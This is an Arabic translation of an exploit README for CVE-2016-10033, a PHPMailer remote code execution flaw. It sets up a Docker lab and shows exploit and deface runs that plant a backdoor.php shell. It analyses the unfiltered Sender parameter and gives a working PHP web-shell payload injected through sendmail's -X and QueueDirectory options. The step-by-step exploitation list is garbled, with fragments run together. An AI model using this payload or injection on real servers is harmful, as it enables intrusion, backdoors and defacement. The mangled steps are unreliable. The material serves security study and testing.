
PHPMailer < 5.2.18 تنفيذ التعليمات البرمجية عن بُعد
PHPMailer هي أشهر فئة نقل في العالم، مع ما يقدر بـ 9 ملايين مستخدم حول العالم. تستمر التنزيلات بوتيرة كبيرة يوميًا. تستخدم من قبل العديد من المشاريع مفتوحة المصدر: WordPress، Drupal، 1CRM، SugarCRM، Yii، Joomla! وغيرها الكثير
تعاني PHPMailer قبل إصدارها 5.2.18 من ثغرة أمنية قد تؤدي إلى تنفيذ التعليمات البرمجية عن بعد (RCE). قد تسمح وظيفة mailSend في النقل isMail في PHPMailer، عند عدم تعيين خاصية Sender، للمهاجمين عن بعد بتمرير معاملات إضافية إلى أمر mail وبالتالي تنفيذ تعليمات برمجية عشوائية عبر عنوان From محتوي على " (شرطة مقلوبة وعلامة اقتباس مزدوجة).
لإعداد بيئة ضعيفة لاختبارك ستحتاج Docker مثبتًا، وقم بتشغيل الأمر التالي:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
وسيقوم بإنشاء تطبيق ويب ضعيف على المضيف الخاص بك على المنفذ 8080

لاستغلال هذا الهدف قم بتشغيل:
./exploit host:port
إذا كنت تستخدم هذه الصورة الضعيفة، يمكنك ببساطة تشغيل:
./exploit localhost:8080
بعد الاستغلال، سيتم تخزين ملف يسمى backdoor.php في المجلد الجذر لدليل الويب. وسيقوم الاستغلال بإسقاط شل حيث يمكنك إرسال الأوامر إلى الباب الخلفي:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
وهذا كل شيء، لديك الشل الخاص بك. هناك استغلال آخر يوضح حالة استخدام أخرى.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
وإذا قمت بزيارة الصفحة مرة أخرى، سترى هذا:

قبل هذا commit في class.phpmailer.php في سيناريو معين لا يوجد فلتر للأحرف الخاصة في عنوان البريد الإلكتروني للمرسل. يمكن أن يؤدي هذا الخلل إلى تنفيذ تعليمات برمجية عن بعد، عبر وظيفة mail هنا.
تحليل الكود، لا يوجد فلتر في وظيفة mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
يتم إلحاق $this->Sender مباشرة بمتغير $params، والذي تمت تصفيته في وظيفة validateAddress()، ولكن نظرًا لأنه يستخدم مواصفات RFC 3696، فإنه يسمح ببعض الأحرف التي قد تكسر الأمور. في هذه الحالة، علامات الاقتباس:
بالإضافة إلى الاقتباس باستخدام حرف الشرطة المائلة للخلف، يمكن استخدام أحرف الاقتباس المزدوجة التقليدية لإحاطة السلاسل. على سبيل المثال
"Abc@def"@example.com
"Fred Bloggs"@example.com
هما شكلان بديلان للمثالين الأولين أعلاه. نادرًا ما يُوصى بهذه الأشكال المقتبسة، وهي غير شائعة في الممارسة العملية، ولكن، كما نوقش أعلاه، يجب أن تدعمها التطبيقات التي تعالج عناوين البريد الإلكتروني. على وجه الخصوص، غالبًا ما تظهر الأشكال المقتبسة في سياق العناوين المرتبطة بالانتقال من أنظمة وسياقات أخرى؛ لا تزال تلك المتطلبات الانتقالية تظهر، وبما أن النظام الذي يقبل عنوان بريد إلكتروني يقدمه المستخدم لا يمكنه "معرفة" ما إذا كان هذا العنوان مرتبطًا بنظام قديم، فيجب قبول أشكال العناوين وتمريرها إلى بيئة البريد الإلكتروني.
يمكنك قراءة RFC كاملة هنا إذا أردت. ولكن أيضًا، إذا كان إصدار PHP أقل من 5.2.0، ولا يوجد PCRE مثبت، فسيتم تعيين متغير $patternselect في validateAddress() إلى noregex. سيؤدي ذلك إلى أن المدخلات ستتمكن من تجنب أي فحص regex. ستمر فقط عبر التحقق الصغير التالي:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
ثم، يتدفق الكود إلى وظيفة mailPassthru()، والتي إذا كانت تعمل في safe_mode لن تكون ضعيفة لهذا الخلل، كما يوضح الكود التالي
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
ولكن، إذا لم تكن تعمل في safe_mode، فسيتم تمرير المعامل الخاص الخاص بنا إلى mail()، وإذا كنا محظوظين، فسيحصل على ملفنا الذي يحتوي على ما نريد كتابته حيث نختار كتابته.
استغلال دالة mail() في PHP ليس شيئًا جديدًا، ولكنه لا يزال قائمًا ولا يزال الناس يستخدمونه. لشرح كيفية عمله، دعنا ننظر إلى كيفية تعريف دالة mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
هناك عدة طرق استغلال لنتائج مختلفة، سنركز على استغلال المعامل الخامس للحصول على تنفيذ التعليمات البرمجية عن بعد (RCE). يُستخدم المعامل $additional_parameters لتمرير أعلام إضافية كخيارات سطر أوامر للبرنامج المكون لإرسال البريد الإلكتروني. يتم تعريف هذا التكوين بواسطة متغير sendmail_path.
ملاحظة أمنية من التوثيق الرسمي لـ PHP:
يمكن استخدام المعامل additional_parameters لتمرير أعلام إضافية كخيارات سطر أوامر للبرنامج المكون لاستخدامه عند إرسال البريد، كما هو محدد بواسطة إعداد التكوين sendmail_path. على سبيل المثال، يمكن استخدام هذا لتعيين عنوان المرسل للمظروف عند استخدام sendmail مع الخيار -f sendmail. يتم الهروب من هذا المعامل بواسطة escapeshellcmd() داخليًا لمنع تنفيذ الأوامر. يمنع escapeshellcmd() تنفيذ الأوامر، ولكنه يسمح بإضافة معاملات إضافية. لأسباب أمنية، يوصى بأن يقوم المستخدم بتعقيم هذا المعامل لتجنب إضافة معاملات غير مرغوب فيها إلى أمر الشل.
بالنظر إلى المعاملات الإضافية التي يمكن حقنها، سنستخدم -X لاستغلال هذا الخلل. المزيد حول المعامل -X
-X logfile
سجل كل حركة المرور داخل وخارج برامج البريد في ملف السجل المشار إليه. يجب استخدام هذا فقط كملاذ أخير لتصحيح أخطاء برامج البريد. سيسجل الكثير من البيانات بسرعة كبيرة.
هناك أيضًا بعض المعاملات الأخرى المثيرة للاهتمام التي يجب أن تعرف بوجودها:
-Cfile
استخدم ملف تكوين بديل. يتخلى Sendmail عن أي صلاحيات محسنة (set-user-ID أو set-group-ID) إذا تم تحديد ملف تكوين بديل.
و
-O option=value
قم بتعيين الخيار option إلى القيمة المحددة. يستخدم هذا النموذج أسماء طويلة.
وبالنسبة لخيار -O، فإن QueueDirectory هو الخيار الأكثر إثارة للاهتمام هناك، هذا الخيار يحدد الدليل الذي سيتم فيه وضع الرسائل في قائمة الانتظار.
إذا كنت تريد قراءة القائمة الكاملة للمعاملات والخيارات، فقط man sendmail أو اقرأها عبر الإنترنت هنا
بناءً على هذه المعلومات، والقدرة على التحكم في معامل واحد على الأقل من المعاملات الأخرى، يمكننا استغلال المضيف. فيما يلي خطوات الاستغلال الناجح:
$additional_parameters ومعامل آخر mail()webroot (مثل /var/www/html للأنظمة الأخرى، /www لهذا المثال)system() بسيطة في هذا المثال، مع لمسة من base64 وبعض الأحرف الخاصة | لتسهيل التحليل.تذكر أن الخيار -X سيكتب ملف السجل، الذي سيحتوي ضمن معلومات السجل على حمولة PHP الخاصة بك، في الدليل الذي ستخبر به. مثال على كود PHP ضعيف:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
إذا قمت بتنفيذ الكود أعلاه، فسيقوم بإنشاء ملف سجل في /www/backdoor.php، هذا هو جوهر هذا الاستغلال.
فيما يلي الحمولة المستخدمة في هذا المثال
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
هل تريد طريقة سهلة بأمر واحد لمحاولة اكتشاف هذا الخلل؟ تذكر أمر grep السحري هذا!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
تشغيله ضد هذا المستودع سينتج عنه
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
تم اكتشاف هذه الثغرة بواسطة Dawid Golunski.
هذا البرنامج أو البرنامج السابق هو لأغراض تعليمية فقط. لا تستخدمه دون إذن. ينطبق إخلاء المسؤولية المعتاد، خاصة حقيقة أنني (opsxcq) لست مسؤولاً عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف المقدمة من هذه البرامج. المؤلف أو أي مزود إنترنت لا يتحمل أي مسؤولية عن المحتوى أو سوء استخدام هذه البرامج أو أي مشتقات منها. باستخدام هذه البرامج فإنك تقبل حقيقة أن أي ضرر (فقدان بيانات، تعطل النظام، اختراق النظام، إلخ) ناتج عن استخدام هذه البرامج ليس من مسؤولية opsxcq.